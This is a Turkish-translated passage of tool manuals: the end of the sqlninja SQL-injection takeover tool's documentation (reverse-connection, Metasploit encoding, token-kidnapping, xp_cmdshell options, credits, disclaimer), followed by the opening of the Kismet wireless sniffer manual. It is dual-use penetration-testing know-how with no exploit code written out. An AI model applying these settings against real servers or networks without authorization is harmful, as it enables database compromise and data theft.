Sıralı en iyileştirilmiş bilgi çekme kullanıldığında, sqlninja evlatlık<br />

alma yaklaşımı kullanır. Aslında dil haritasındaki her harfe bir<br />

ağırlık puanı verilir ve her seferinde bir karakter başarılı biçimde<br />

çekildiğinde ağırlık puanı 1 arttırılır. Ninci pozisyondaki<br />

karakterin ağırlık puanı N-1 dekinden yüksekse, haritada yerleri<br />

değiştirilir. Böylece ağırlık puanı daha yüksek olan karakter (o<br />

halde daha sık kullanılıyordur) O zaman denemede ilk<br />

kullanılacak olandır. Burada değerler ya evet ya da hayırdır. Ama<br />

daha iyi sonuç almak için her zaman evet olanda kalmalısınız.<br />

language_map_adaptive = yes<br />

saklama oturumu (store_session)<br />

Varsayılan olarak sqlninja tüm çekilen veriyi SQLite veri<br />

tabanında saklar. Bu size çekilen verinin yerel ortamda<br />

saklanmasını sağlar. SQLite veri tabanına komut satırından<br />

erişilir (varsayılan adı session.db).<br />

store_session = yes


akıl denetimi (sanity_check)<br />

Zaman tabanlı veri çekerken, ağ gecikmesi çekilen verini<br />

doğruluğunu engelleyebilir. Eğer sqlninja çekilen verinin<br />

doğruluğunu (şu anda DB, kullanıcılar, tablolar ve kolonlar ama<br />

veriler henüz değil) saptayamazsa aynı bilgi yeniden çekilir.<br />

Kontrol sonunda çekilen tüm veri için yalnız bir sorgulamayı<br />

içerir (örneğin kolon adı gibi). Bir WAITFOR kullanılır. Bu bir kez<br />

çalıştırılır ve eğer bilgi doğru değilse. O halde denetimin çok<br />

sınırlı verim çakışması vardır. Genelde bu da “yes” olarak<br />

kalmalıdır.<br />

sanity_check = tes<br />

Gelişmiş Seçenekler<br />

lhost<br />

Hedfin ters bağlantıda bağlanması gereken IP numarası. Yani<br />

sizin IP numaranız.<br />

Lhost = tester.sqlninja.net<br />

device<br />

Ters taramada paketleri koklamak için (sniffing) kullanılacak<br />

cihazdır.<br />

Device = ppp0<br />

filter<br />

ters tarama konumunda geçerli pcap deyimidir. Varsayılan<br />

olarak bu saldırıyı yaparken sqlninja karşı sistemden gelen<br />

paketleri inceler. Ve lhost ile belirtilen sunucuya yönlendirir. Her<br />

koşulda çalışmaya bilir. Veri tabanının çıkışları bir IP numarasına<br />

kapatılmış olabilir. O zaman bizim varsayılan pcap elemesini<br />

geçmemiz gerekir. Örneğin hedefin altkümesindeki tüm<br />

<strong>bilgisayar</strong>ları işleme dahil edebilirsiniz. Burada sunucuları ve<br />

ağları tanımlarsınız<br />

filter = src host nat.victim.com


Zaman aşımı (timeout)<br />

Bu parametre ters tarama konumunda kullanılır. Diğer paketleri<br />

göndermeden önce web servis bitince kaç saniye beklenmesi<br />

gerektiğini söyler (varsayılanı 5 saniyedir). Bu özellikle çok<br />

geniş kapı taraması yapılırken önemli olabilir. Çünkü web isteği<br />

netcat süresi dolmadan zaman aşımına girebilir. O zaman<br />

aşağıdaki değeri çoğaltmanız gerekebilir:<br />

timeout = 30<br />

Sunucu adı boyu (hostnamelength)<br />

FQDN uzunluğu dns tünel konumunda hedefin çözümlemeye<br />

çalışacağı yalancı sunucu adının en uzun boyudur. RFC'ler göre<br />

255 limittir. Fakat bence bir çok DNS sunucu 253'den buyuk ad<br />

kabul etmemektedir.<br />

Hostnamelength = 250<br />

Eğer çok uzun DNS adları hemen saptanır derseniz boyu<br />

küçültmek gerekebilir. Tabi ki kısa dns adı yavaş iletişim hızı<br />

demektir.<br />

msfencodecount<br />

Adımlayıcının kaç kez kodlanacağını söyler.<br />

Msfencodecount = 8<br />

usechurrasco<br />

token kaçırmada yetkileri arttırmak için kullanılır. Örneğin:<br />

userchurrasco = yes


esolvedip<br />

Dns tünel konumunda her DNS istemine gönderilen IP adresidir<br />

(gethostbyname() asılmasın diye). Genelde bunu 127.0.0.1<br />

değerine atamak (varsayılandır) en iyisidir. Karşı veri tabanı<br />

sunucusu yalancı sunucu adıyla ağ trafiğini karıştırmadan<br />

varsayılanı kullanmaktır.<br />

xp_name<br />

Komutlarımızı çalıştıran işlemin adıdır. Varsayılanı xp_cmdshell.<br />

Bu parametre iki biçimde kullanılır:<br />

resurrectxp:<br />

xp-name yaratılacak dış işlemin adını taşır Eğer<br />

xp_cmdshell'i yeniden etkinleştirmek olduğuna inanırsanız<br />

yakalanabilir. Bu nedenle burada başka bir ad<br />

kullanabilirsiniz.<br />

Dış işlem adı kullanan tüm diğer konumlar<br />

resurrectxp konumunda kullanılanla aynı olamayan bir ad<br />

olmalıdır.<br />

zp_name NULL olabilir. O zaman komut içi işlem ekleme<br />

kullanılır. Örneğin:<br />

xp_name = sp_sqlbackup<br />

kör zaman (blindtime)<br />

Arayüzü tabanlı eklemelerde parmaka izi ve kaba kuvvet<br />

konumlarında kullanılan WAITFOR DELAY çağrılarının değeridir.<br />

Varsayılan değer 5 saniyedir. Ama çok yavaş sunucular için az<br />

olabilir ve hatalı sonuçlara götürebilir. Eğer böyle şeyler olursa<br />

süresi yükseltmeye çalışın. Eğer sunucu yanıt zamanı çok<br />

kısaysa daha küçük bir değer tanımlayabilirsiniz. En küçük değer<br />

3 saniye olabilir. Örneğin<br />

blindtime = 4


Her isteğin satır sayısı (lines_per_request)<br />

Bu parametreyle bir istekte kaç satır onarım programı<br />

yükleneceğini kontrol edersiniz. Yüksek bir değer tabi ki hızlı<br />

yükleme demektir. Ama GET isteği kullanılıyorsa URL çok uzun<br />

olacağından riskli olabilir. Varsayılan değer 10 olur. En çok 30<br />

olabilir. Örnek:<br />

lines_per_request = 15<br />

Hata dizisi (error_string)<br />

Sqlninja HTTP hata kodu alındığında kullanıcıyı uyarır (örneğin<br />

500 Sunucu Hatası gibi). Bazı sayfalar 200 OK gibi bir yanıt<br />

döndürür. Bu gibi durumlarda sqlninja'ya hatanın içinde bulunan<br />

bir hata dizisi tanımı vermek akıllı olur. Örneğin<br />

error_string = “an error has occured”<br />

Açıklamayı ekle (appendcomment)<br />

Varsayılan olarak sqlninja SQL kodundaki fazlalık olan kodları<br />

açıklamaya çevirmek için sorgulamaya iki eksi işareti ekler<br />

Örneğin<br />

appencomment = yes<br />

Bu ayarı ancak ne yapmak istediğinizi biliyorsanız kullanın.<br />

checkdep<br />

Metasploit'in şu anki sürümünde adımlamada DLL eklemeden<br />

DEP otomatik kapalıdır. Ama bu bir nedenden çalışmazsa, eski<br />

davranışa geri dönebilirsiniz. Sqlninja karşı sistemin DEP<br />

ayarındaki değere bakar ve Metasploit adımlayıcısını (stager)<br />

beyaz listeye sokmak için xp_regread programını çalıştırır.<br />

Varsayılan olarak bu değer başlangıçta hayır olarak kullanılmıştır.<br />

checkdep = no


sqlmarker<br />

sqlninja'ya var olan işaret değişikliğini bu parametreyle<br />

bildirirsiniz. Varsayılan kod ekleme işareti __SQL2INJECT__ dir.<br />

Bunu değiştirmenize hiç gerek yoktur ama diyelim ki<br />

değiştirdiniz, örnek yazım:<br />

sqlmarker = SOME_WEIRD_STRING_HERE<br />

b64decoder<br />

base64 biçiminde kodlanmış dosyaları çözecek programın adını<br />

değiştirmek istediğinizde bu parametreyle sqlninja'ya aşağıdaki<br />

örneğe benzer bir tanımlama yaparsınız. Aslında varsayılan<br />

değer b64decoder.vbs programıdır.<br />

b64decoder = somename.vbs<br />

Diğer Yararlı Bilgiler<br />

Sqlninja GPLv3 (General Public License V3) lisansı ile dağıtılır. Ayrıntılar için<br />

LICENSE dosyasına bakın.<br />

Netcat sqlninja paketi içinde scr kalıbındadır.<br />

Ayrıntılı yazdırma konumunda “Bareword NetPaket IP IP_PROTO_UDP<br />

not allowed blah blah” hatası alabilirsiniz. Hiç sorun çıkartmadan hatalı<br />

atlayabilirsiniz. Aslında NetPacket'in zararsız bir hatasıdır. Bu hatadan<br />

kurtulmak isterseniz de UDP.pm içindeki “$proto=17” değişikliğini<br />

yapın.<br />

Arka plan konumunda bulunan tüm belgeler Next Generation Security<br />

firmasına aittir (NCC Grubun bir parçasıdır http://www.nccgroup.com/).<br />

Yeni başlayan değilseniz piste snowboard yapmak sakattır.


Krediler<br />

Sqlninja size yardım olmuş olabilir. Ya ağa sızıntıları saptamada<br />

kullandığınız için ya da uygunsuz bir biçimde e-ticaret sitelerinden<br />

çaldığınız kredi kart bilgileriyle milyoner olduğunuz için. O zaman<br />

aşağıdakilere teşekkür etmeniz gerekecektir:<br />

julie – DNS tünellemesi konusundaki tartışmaları için<br />

Davide Litchfield ve Chris Anley – Arka plan işleri bölümünde<br />

listelenen yazı ve dökümanlar için<br />

lele – SQL büyüsü için<br />

pentestmonkey.net – Daha çok SQL büyüsü için<br />

sp0nge – tüm tartışmalar ve kodlama ip uçları için<br />

hobbit – tabi ki netcat için<br />

The Metasploit geliştirme takımı – ürünleri için<br />

Cesar Cerrudo – token kaçırma saldırısı için<br />

Antonin Foller – değiştirilmiş xp_cmdshell kodu için<br />

Nmonkey – Bir sürü ip uçları, oyunlar ve geri besleme ve bobcat<br />

takımından adam çalmama izin verdiği için<br />

Tavis Ormandy – Asıl KiTrap0d çıkarcılığı için<br />

Birillo ve cima-asso.it – sqlninja'yı 6130metre yukarıdaki Ladakh<br />

dağlarına çıkarttıkları için<br />

The Spike Riders Team – snowpark'ta görüşelim ahbap!<br />

Ek krediler s4tan'a, Stefano Di Paola, Elhot Kendall, geese, Phlippe<br />

Schaeffer, Angelo Dell'Aera, WarGame, jussi, bambam, Ross Bushby,<br />

Konrad, Malewski, Hubert Seiwert, Raul Siles ve #uncon'dan bir kişi ye<br />

gidecek (düşünce|öneriler|yamalar|destek|alkol) için<br />

Sorumluluğu Kabul Etmeme<br />

Sqlninja kurulumu programlarla oynayan çocukların işine yaramaz.<br />

Ayrıca bu araçla ne yapacağınız tümüyle sizin sorumluluğunuzdadır.<br />

Bu ürünü kullanabilmek için yazılı bir belgeniz olması gerekmektedir.<br />

Böylece incelediğiniz ağ içinde güvenlik delikleri oluşturabilirsiniz. Bu<br />

tür yetkiniz yoksa yazılımı rast gele kullanmayın. Eğlence olsun diye<br />

kullanabilirsiniz kuşkusuz ama unutmayın ki çevrenizdeki bunca yasal<br />

engelle uğraşacak olan da sizsiniz. Bu konuda yardımımız olamaz.<br />

Geri Besleme<br />

Eğer görüşleriniz, düşünceleriniz ve yapılabilecek gözlemleriniz varsa<br />

ya da yeni işlevselliklerden söz ediyorsanız, bir hata bildiriyorsanız,<br />

bize bir satır yazı yazın. Sızma testlerinde bu aracı başarıyla<br />

kullanmışsanız, hacking komitesinin bazı faturaları ödeme ve bazı<br />

şeyler alma gibi gereksinimleri de vardır. Bize bağış yapabilirsiniz.


Akıllılık<br />

Her aptal bir iş için yalvarır durur, akıllı adam onu çalışmadan elde<br />

eder. Charles Bukowski.<br />

Yazarlar<br />

icesurfer - <br />

nico -


İÇİNDEKİLER<br />

1. Kismet nedir<br />

Ek-3<br />

Kismet 2011-01-R1<br />

Mike Kershaw<br />

http://www.kismetwireless.net<br />

2. Eski sürümlerden güncelleme<br />

3. Hızlı Başlangıç<br />

4. “root” yetkisi (Suidroot) ve güvenlik<br />

5. Kaynakları yakalama<br />

6. Özel sürücüler için Caveats & quirks<br />

7. Desteklenen kaynak yakalama<br />

8. Eklenebilir program parçaları<br />

9. GPS<br />

10. Kayıt altına alma (Logging)<br />

11. Filitreleme<br />

12. IDS ve Uyarılar<br />

13. Sunucu Ayar Seçenekleri<br />

14. Kismet Kullanıcı Arayüzü<br />

15. Kismet drones<br />

16. Kismet'le konuşma<br />

1. Kismet Nedir<br />

Kismet 802.11 kablosuz ağ saptayıcısı, trafik koklayıcısı, ve sızıntı yakalama<br />

sistemidir. Ham izleme konumunu destekleyen her tür kablosuz ağ kartıyla<br />

çalışır ve 802.11b, 802.11a, 802.11g ve 802.11n trafiğini koklayabilir.<br />

Kismet eklenebilir programları destekleyerek 802.11 dışındaki protokolleri<br />

de analiz edebilir, kodlarını açabilir.<br />

Kismet pasif olarak ağların paketlerini toplar ve onlardan tanımlanmasına<br />

izin verenleri tanımlayabilir (ve gizli ağların adlarını açıklayabilir). İşaretsiz<br />

ağları veri trafiğinden çıkarabilir.<br />

2a. Eski sürümlerden güncelleme<br />

Bazı temel özellikler çoklu sanal erişim noktasında (multi-vap) becerisi olan<br />

cihazları (kernel içinde tanımlanan linux cihazları gibi) yeni sürümde<br />

değişmiştir. Uygun olduğu her an eski arayüzü değiştirmek yerine yeni VAP<br />

(virtual access point) yaratır ve ayarlar. Eskisini korumak için<br />

“forcevap=false” seçeneğini kullanın (kaynak satırında).


2b. Kismet'İn Eski sürümlerinden güncelleme<br />

Bu sürüm Kismet'in çalışması ve ayarları konusunda MAJOR (Ana)<br />

değişiklikleri işaretler. Aslında bir çok konu aynıdır. Bir çoğu da (istemciler,<br />

ayar kaynakları ve kanallar gibi) farklıdır.<br />

Yeni özelliklerin yararlarından faydalanmak için var olan ayarlar dosyanızı<br />

son ayar verileriyle değiştiriniz.<br />

En önemlileri<br />

Kaynaklar farklı tanımladı. “Kaynak yakalama” bölümüne bakın<br />

Tüm Kullanıcı Arayüzü ayarları Kismet istemci içinde ele alındı ve<br />

kullanıcının evinde ~/kismet/k,smet_ui.conf dosyasında tanımlandı<br />

Daha önce hata olan ve Kismet'in işini bitirmesine neden olan pek çok<br />

durum artık çözümlendi<br />

Yeni eleme seçenekleri eklendi<br />

Yeni uyarı seçenekleri eklendi.<br />

Tümüyle yeni kullanıcı arayüzü oluşturuldu.<br />

Ağ erişim protokolü yüz değiştirdi.<br />

Yüksek sayıdan ağ için daha az CPU kullanılır oldu.<br />

Eklenebilir program parçaları (plugin) kullanılmaya başlandı.<br />

Bu sürüm daha önceki sürümlerden her şeyi kırıyor olsa da daha kolay üst<br />

sürüme geçiş kapısını açmaktadır.<br />

3. Hızlı Başlangıç<br />

Kismet'i çalıştırmadan tüm el kitabını okuyun. Burada Kismeti çalıştırmak<br />

için gereken en azlara yer verilmiştir.<br />

http://www.kismetwireless.net/download.shtml adresinden kismet'i<br />

indirin<br />

“./configure” programını çalıştırın. Çıktıları kontrol edin. Eğer Kismet<br />

her şeyi bulamazsa en önemli özellikleri eksik kalabilir. En önemlisi<br />

Kismet'i derleyin.<br />

İstediğiniz tüm özelliklerin açılmış olduğunu ayarlar dosyasından<br />

kontrol edin. Doğru çalışma için hemen her kullanıcı pcap ve libnl<br />

desteğine gerek duyar.


Kismeti “make” ile derleyin<br />

“make install” ile kismeti kurun.<br />

Eğer Kismeti suid-root olarak kurduysanız kullanıcınızı “kismet”<br />

grubuna ekleyin.<br />

Kismeti “kismet” diye çalıştırın. Eğer suid-root desteğiyle<br />

kurmadıysanız hemen her koşulda “root” olarak başlatmanız gerekir.<br />

Bu pek önerilmez çünkü daha az güvenlidir.<br />

Kismet sunucusunun başlaması için soru geldiğinde “yes” yazın.<br />

Yakalanacak arayüz sorusu geldiğinde kendi kablosuz arayüzünüzü<br />

girin. Kismet hemen her durumda desteklenen kanallardaki cihaz tipini<br />

otomatik belirler. Eğer belirleyemezse bunu sizin elinizle tanımlamanız<br />

gerekir.<br />

Kismet'i başlattığınız yerde kayıtlar (log) saklanır. “logprefix” ayarı ile<br />

yerini değiştirebilirsiniz. Ya da başlama satırında -logprefix ile yol<br />

belirtebilirsiniz.<br />

README'nin kalanını da okursanız Kismet hakkında bir çok özelliği ve<br />

ayar bilgisini öğrenebilirsiniz. Ne kadar çok okursanız o kadar çok<br />

bilginiz olur.<br />

3b. Windows hızlı başlangıç<br />

Bu yazının hazırlandığı zamanda “CACE install” güncellemesi henüz<br />

yapılmamıştı. Bu nedenle yeni çekirdek kodun faydalarını kullanacaklar<br />

Kismet'i Cygwin kullanarak kendileri derlemeliler.<br />

CACE Paketini kullanarak<br />

Önce Win32/Cygwin installer indir.<br />

(http://www.kismetwireless.net/download.shtml<br />

Installer'ı çalıştır<br />

Kismet'i başlat<br />

Kendi Airpcap ya da Kismet Drone kaynaklarını seç.<br />

Kendiniz derlediğinde<br />

Cygwin kurulumunu indir( http://www.cygwin.org)<br />

Cygwin kuruluşu yap (make gcc, libncurses, libncurses-dev ile)<br />

CaCE destekten Airpcap Devpack indir<br />

Airpcap, DevPack ve Libcap_Devpack bilgilerini kismet kaynak yoluna<br />

tasi


./configure –with-airpcap-devpack=... --witn-winpcap-devpack=...<br />

--enable-airpcap çalıştır. Eksik programları CACE websitesinden<br />

sağlayabilirsiniz. Cygwin hatalarından airpcap ve winpcap kismet yolu<br />

altında olmalıdır.<br />

“make” ile kismet'i derleyin<br />

“make nstall” ile kuruluşunu tamamlayın.<br />

Not: KISMET yalnız CACE AIRPCAP DEVICE ile çalışır.<br />

3c. OSX/Darwin hızlı başlangıç<br />

Bir çok kişi iTerm anahtar olayları doğru göndermiyor diye söyleniyor. Ama<br />

Terminal uygulaması doğru çalışıyor gibi görünüyor ve Kismet'le çalışması<br />

uyumludur.<br />

http://www.kismetwireless.net/download.shtml adresinden Kismet'i indirin<br />

“./configure” çalıştırın ve çıktıya dikkatle bakın. Belki libpcap yoktur elle<br />

yüklemeniz gerekebilir.<br />

OSX içindeki libpcap PPI kayıtına olanak tanımaz. Kismet PPI kayıtını doğru<br />

yapamayabilir (802.11 kayıtlarını yazarken her pakette yer alan başlıkları<br />

yazılmayabilir)<br />

configure prıogramı OSX'i otomatik olarak belirler ve “staff” grubuna<br />

varsayılan olarak “suidinstall” yapılabilir. Bunu “--with-suidgroup” ayar<br />

seçeneği ile değiştirebilirsiniz.<br />

“make” ile Kismet'i derle.<br />

“make install” ile kismet'i kur. Ya da make suidinstall” ile kuruluş yap.<br />

Eğer Kismet'i suidinstall ,le kurduysanız kullanıcınızı “staff” grubuna<br />

ekelmelisiniz.<br />

Eğer suidinstall kullanılmadıysa “kismet” root yetkileriyle çalışırtırılır. Yoksa<br />

kendi kullanıcınızla çalıştırabilirsiniz.<br />

Kismet sunucusu çalışmaya başladığında ilk soruya “yes” diye yanıt verin.<br />

Yakalanacak arayüz sorulduğunda kablosuz bağlantının arayüzünü girin.<br />

Kısmet otomatik olarak cihaz tipini ve desteklenen kanalları belirler. Eğer<br />

yapamazsa elle yakalama tipini girmelisiniz.<br />

Birçok mac için bu 'en1' olur. Ama bir terminal başlatıp “ifconfig -a” ile ne<br />

olduğuna bakın.


Kablosuz ağ arayüzü daha önce etkin hale getirilmiş olmalıdır. O zaman<br />

kismet çalışabilir. Yoksa hiçbir ağı bulamaz.<br />

Kismet şu anda yalnız Airport kablosuz cihazlarıyla çalışır (USB'lerle değil).<br />

Log kayıtları Kismeti başlattığınız dosya yolunda saklanır. Ama “logprefix”<br />

ayarı ile ya da “-log-prefix komut satısı parametresiyle değiştirebilirsiniz.<br />

4. “root” yetkisi (Suidroot) ve güvenlik<br />

İzleme konumunda kablosuz bağlantı kartını ayarlarken paketleri<br />

yakalamaya başlayınca Kismet root yetkisi ister. Bunu sağlamanın iki yolu<br />

vardır. Ya Kismet root olarak başlatılır ya da kurulurken öyle ayarlayın ki<br />

kotrol parçaları çalışırken root yetkisi kullansın.<br />

Kismet'i root olarak başlatmanın anlamı Kismet root olarak çalışmaya devam<br />

eder. Kuramda bunun ek bir sorunu olmaz. Ama herhangi bir anda kırılma<br />

olur program çalışmazsa (ya da bir paketteki kod root konumunda çalışmaya<br />

kalkabilir). Ek olarak üçüncü partilerin yazılımları root olarak çalışabilir ve<br />

güvenli de olmayabilir.<br />

Kismeti suid-root olarak kurmanın yaratacağı sınırlamalar vardır. İkili alamda<br />

(bnary) kistem_captur “kismet” grubundakilerce başlatılabilir. Bu<br />

ayarlamayla kanallar kontrol edilirmı yalnız kullanıcı düzeyinde yapılabilr.<br />

Böylece saldırı yüzeyinde belirgin bir limitleme getirilmiş olur.<br />

Dağılımlar önemle bu konumun kullanılmasını istemektedirler, çünkü<br />

standart grup kontrollarına izin vermektedir. Kismet bunu kartın konumunu<br />

değiştirmede kullanmaktadır.<br />

Gömülü sistemler tipik olarak daha az saklama alanı ve bellek ve bu<br />

sınırlamalardan dolayı kullanıcı/root ayrımını çoğu zaman zorlamazlar.<br />

Gömülü sistemlerde kismet kismet_capture programı olmadan kurulabilir ve<br />

yalnız root olarak çalıştırılabilir ama hala yukarıdaki risk devam eder.<br />

Hiç bir koşulda kismet_server programı suid-root olarak tanımlanmamalıdır.<br />

Çünkü bu program tüm güvenlik kontrollarını geçirir.<br />

5. Kaynakları yakalama<br />

Kismet içindeki paketlerin hepsi kaynak yakalamadan gelir. Kaynak<br />

yakamala yerel sistemdeki tipik ağ kartıdır. Ama daha önce kaydetilmiş bir<br />

dosya da olabilir. Ya da uzaktaki bir Kismet asalağının (drone) çalıştığı bir<br />

sistem olabilir.<br />

Kismet bir çok koşulda kaynak yakalama işinde sürücüyü ve desteklenen<br />

kanalları kendisi otomatik belirler. Bir çok kullanıcı için bu yeterlidir. Ama<br />

kaynak yakalama için gelişmiş seçenekler de vardır.


Kismet paketleri 802.11 katmanında yakalar. Bunun için ağ arayüzünün<br />

konumunun değişmesi gerekir. Bu değişiklik sonrasında arayüz artık normal<br />

kullanım için çalışamaz. Zaten bir çok durumda aynı arayüz üzerinden<br />

Kismet çalışırken kablosuz ağa bağlı kalınamaz. Kaynak yakalama Kismet<br />

Kullanıcı Arayüzündeki “Kaynak Ekle” seçeneği ile eklenir. Virgülle ayrılan<br />

seçenekler “Options” alanına eklenebilir. Kismet.conf dosyasında da<br />

“ncsource=” seçeneği ile tanımlanmış olabilir. Örneğin:<br />

ncsource=wlan0 option1=bar<br />

Kaynak Seçenekleri:<br />

name=foo<br />

Kaynak için kullanıcıya özel bir ad (aksi halde yakalanan arayüz<br />

ile adlandırılır). Bu tümüyle keyfi ve yalnız kullanıcı için<br />

anlamlıdır.<br />

type=foo<br />

Otomatik yakalanamayan kaynaklar için tipi burada belirtilir. Bu<br />

çok seyrek gereken bir durumdur. Kaynak tipleri hakkındaki<br />

diğer bilgiler bunu izler.<br />

uuid=foo<br />

Tek ve değişmez bir arayüz kullanmak isteyenler onu burada<br />

tanımlayabilirler. Bir çok kullanıcı için gerekmeyebilir. UUID<br />

kalıbıXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX biçimindedir.<br />

hop=true|false<br />

Kanal sekmelerini kaldırma. Varsayılan kaynaklar için kanallarda<br />

sekmedir. Böylece tüm spektrum kapsanabilir.<br />

velocity=#<br />

Kanallarda sekme hızı (saniyede gezilecek kanal sayısı). Kismet<br />

bi saniyede 1-10 kanal gezebilir.<br />

dwell=#<br />

Kanalda kalma süresi Kismetin bir kanalda kalacağı süreyi<br />

tanımlar. Eğer sekme açıksa ve kanalda kalma süresi de<br />

belirtilmişse Kismet her kanalda N saniye kalır. Bir saniyede N<br />

kanal gezmek yerine...<br />

channellist=ad<br />

Bu arayüzde otomatik bulunan kanallar listesi yerine başka bir<br />

kanal listesi kullan. Burada kanal listesinin tanımlı olması gerekir.<br />

split=true|false<br />

Birden çok kaynak aynı kanal listesini kullandığında (otomatik<br />

bulunan ya da channellist=seçenek biçiminde tanımlanan).


Kismet onları parçalara ayırır. Öyle ki aynı anda birden çok<br />

kaynak aynı kanalla ilgilenmemiş olur. Kaynaklar bunu dikkati<br />

almamaya göre zorlanır ve kanal listesinin başından sekmelere<br />

başlarlar. Çakışmalar dikkate alınmaz.<br />

retry=true|false<br />

Kismet kaynak yakalamayı yeniden açmak ister ve hata alır.<br />

Eğer kullanıcı kaynağın kapalı kalmasını isterse bu özellik<br />

kapatılabilir.<br />

vap=arayüz<br />

Var olan arayüzün konumu değişileceğine ikincil olarak<br />

adlandırılmış arayüz yaratılır. Bu aslında Linux altındaki<br />

mac802.11 sürücüleri içindir. Kismet+Managed ya da<br />

Kismet+injection kullanmak isteyenler vap yaratır.<br />

forcevap=t|f true|false<br />

izlenebir konumda VAP yaratmaya zorlanılır (tüm Linux<br />

mac802.11 sürücüleri bunu destekler). Varsayılan “true” olup<br />

VAP adı arayüzün sonuna mon eklenerek elde edilir. Örneğin<br />

wlan0 için wlan0mon. “wlan1mon” ve yakalama buradaki VAP ile<br />

yapılır. Bu özellik zorla kapatılabilir (forcevap=false seçeneği ile)<br />

wpa_scan=time<br />

mac802.11 VAP kullanırken, Kismet yönetilen arayüzde<br />

tetiklemek için donanım yardımlı taramalarda wpa_supplicant<br />

kullanabilir. Böylece görüş yelpazesi ve yönetilen VAP<br />

işlemlerinin yapısı bozulmadan izleme yapılabilir. Tarama<br />

aralıkları için süre 15 saniyedir.<br />

Validatefcs=t|f true|false<br />

Kismet normalde gelen paketlerin FCS toplam kontroluna dikkat<br />

etmez. Çünkü birçok sürücü ilk anda hep doğru paketler<br />

gönderir. Paket kaynakları geçersiz parçaları varsayılan olarak<br />

bildirseler bile bu seçeneği otomatik olarak başlatırlar.<br />

Eğer sürücüler doğru olmayan paketleri var diye bildirilip elle<br />

ayarlanıyorsa, bu seçenekle Kismet'e kırılmış ve bozuk<br />

paketlerin dikkate alınmaması gerektiği bildirilir.<br />

fcs=true|false<br />

Paket kaynaklarındaki FCS bayt'larının ele alınmasını zorlama<br />

seçeneğidir. Varsayılan “false”, yerel FCS ele alınma koşulu<br />

olarak tanımlanır. Paket kaynakları radiotap ya da PPI gibi her<br />

paketteki başlıklar paket kaynaklarında dikkate alınmaz. Ama<br />

paket kaynakları pcapfile, 802.11 ham veri okumaları daha<br />

doğru davranışlar için bunun ayarlanmasını gerektirebilir.


fcsfail=true<br />

Bilinen kötü FCS (paket kontrol toplamı) olan paketler için<br />

mac802.11 VAP zorunlu bilgilendirilir. Bu seçenek “vap=”<br />

seçeneğinden sonra gelmelidir. Yoksa dikkate alınmaz. “fcsfail”<br />

açılması otomatik olarak “validatefcs” açılmasını beraberinde<br />

getirir. “fcsfail” seçeneği yalnız PPI kayıt edilirken açılmalıdır.<br />

Normalde PCAP kayıtları için FCS verilerine bakılmaz ve zaten<br />

okunmayacak çıktı oluşur.<br />

UYARI: Bazı sürücü sürümleri için bunu açmak ve yakalamayı<br />

durdurup başlatmak söz konusu olursa, kernel'da OOPS<br />

uyarılarına neden olmakta ve arayüz yanıt vermez duruma<br />

gelmektedir. Bu seçenek yetkin insanların kullanımı içindir.<br />

Bilginiz yetersizse, bırakın varsayılan değer kalsın.<br />

picpfail=true<br />

PLCP kontrolünü geçemeyen paketleri (eğer o arayüzde olası ise)<br />

mac802.11 VAP'ye zorla bildir. “fcsfail” için yapılan aynı uyar ve<br />

koşullar burası için de geçerlidir. Bu seçenek özel ve yetkin<br />

kullanıcılar içindir.<br />

Örnek kaynaklar (bunlar config dosyası parametreleridir. Ama komut<br />

satırı seçenekleri olarak “-c wlan0” gibi yazılarak da kullanılabilirler.<br />

Wlan0 kanal 6'da yakalama yap ve kanal sekmesi olmasın<br />

ncsource=wlan0,hop=false,channel=6<br />

wlan0 da yakalama yap 802.11b kanalları 5GHz destekleyenler<br />

ncsource=wlan0,channellist=IEEE80211b<br />

wlan0 üzerinde wlan0mon adında bir VAP yarat ve wpa_supplicant<br />

diğer kanallar hakkında bir görüntü verecek biçimde kullanılsın.<br />

ncsource=wlan0,vap=wlan0mon,hop=false,wpa_scan=15<br />

Daha önceden saklanmış pcap dosyasından oku:<br />

ncsource=/home/foo/old_pcap<br />

Windows üzerindeki Airpcap dosyasını yakala:<br />

ncsource=airpcap<br />

Uzaktaki capture_drone (yakalama asalağı) kullanarak yakala:<br />

ncsource=drone,host=10.10.100.2,port=2502


Kanal Listesi<br />

Kismet içindeki kaynak yakalama tarafından sekerek aranan kanalların<br />

ve desenlerin listesidir. Kanallar otomatik belirlenemezse (ya da<br />

kullanıcı bir nedenden onları değiştirmek isterse bu seçenek kullanılır.<br />

Varsayılan kanal listesi (IEEE80211b, IEEE80211ab) sürücü tarafından<br />

bir bir kanal listesi yoksa kullanılandır. Çoğu zaman da değiştirilmez.<br />

Sürücünün desteklediği kanallardan yaratılan kanal listesi olunca,<br />

“preferredchannels=seçenek” hangi kanallara ek zaman<br />

harcanacağını belirtir. Varsayılan olarak bilinen kanallara (1, 6, 11 gibi)<br />

bu ayarı yapmak, ya da bilinen ağlardaki kanallar (durağan olarak<br />

kurulanlar) için Kismet daha çok bilgi toplamak için biraz daha uzun<br />

zaman harcar. Daha karmaşık kanal zamanlaması için kanal listesi<br />

konusunu biraz daha okuyun.<br />

Kanallar tipik olarak (11, 36 gibi IEEE kanalları olabilir) ya da<br />

2401,5200 gibi frekanslar gibi olabilir. Ama bazı platformlar ve<br />

sürücüler kanalları ya da IEEE standart sınırları dışındaki frekansları<br />

belirlemeyi desteklemezler.<br />

channellist=ad:kanal.kanal,kanal<br />

Ek olarak listedeki her bir kanal ağırlıklı olabilir ki onlar üzerinde dha<br />

çok zaman harcanır. Ağırlık değeri 3 is 3x daha çok zaman kanalda<br />

harcanır.<br />

channellist=foo:1:3,6:3,11:3,2,3,4,5,6,7,8,9,10<br />

256 tane kanal kanal listesinde tanımlanabilir. Daha çok kanal<br />

olduğunda aly ve üst sınırdan oluşan aralıklar tanımlanabilir.<br />

Aralıklar kanal ya da frekanslarla tanımlanabilir.<br />

channellist=ad:range-[başlama]-[bitiş]-[üst_üste_binen]-[tekrar_sayısı]<br />

Başlangıç ve bitiş arasındaki tüm kanalların bilinen tekrar sayısında<br />

Kismet üst üste binme varsa doğrudan sekme yapmaz.<br />

channellist=foo:range-1-11-3-1<br />

Aynı tür aralık 802.11 2.4GHz kanallarda ~20Mhz genişliğinde olunca<br />

teknik olarak 22 ama 20 ek olur ve her biri 5Mhz aralıkla dizilir.<br />

channellist=foo:range-2412-2462-20-5<br />

Aralıklar kaynak arasında parçalanmış değildir. Çoklu kaynakların<br />

sekmesi aynı kanal listesinde olabilir. Bu da bir aralık genişletilmiş


aralığı parçalamaz anlanıma gelir. Diğer bir deyimle kanal aralıkları tek<br />

bir kanal tanımı gibi kabul edilir.<br />

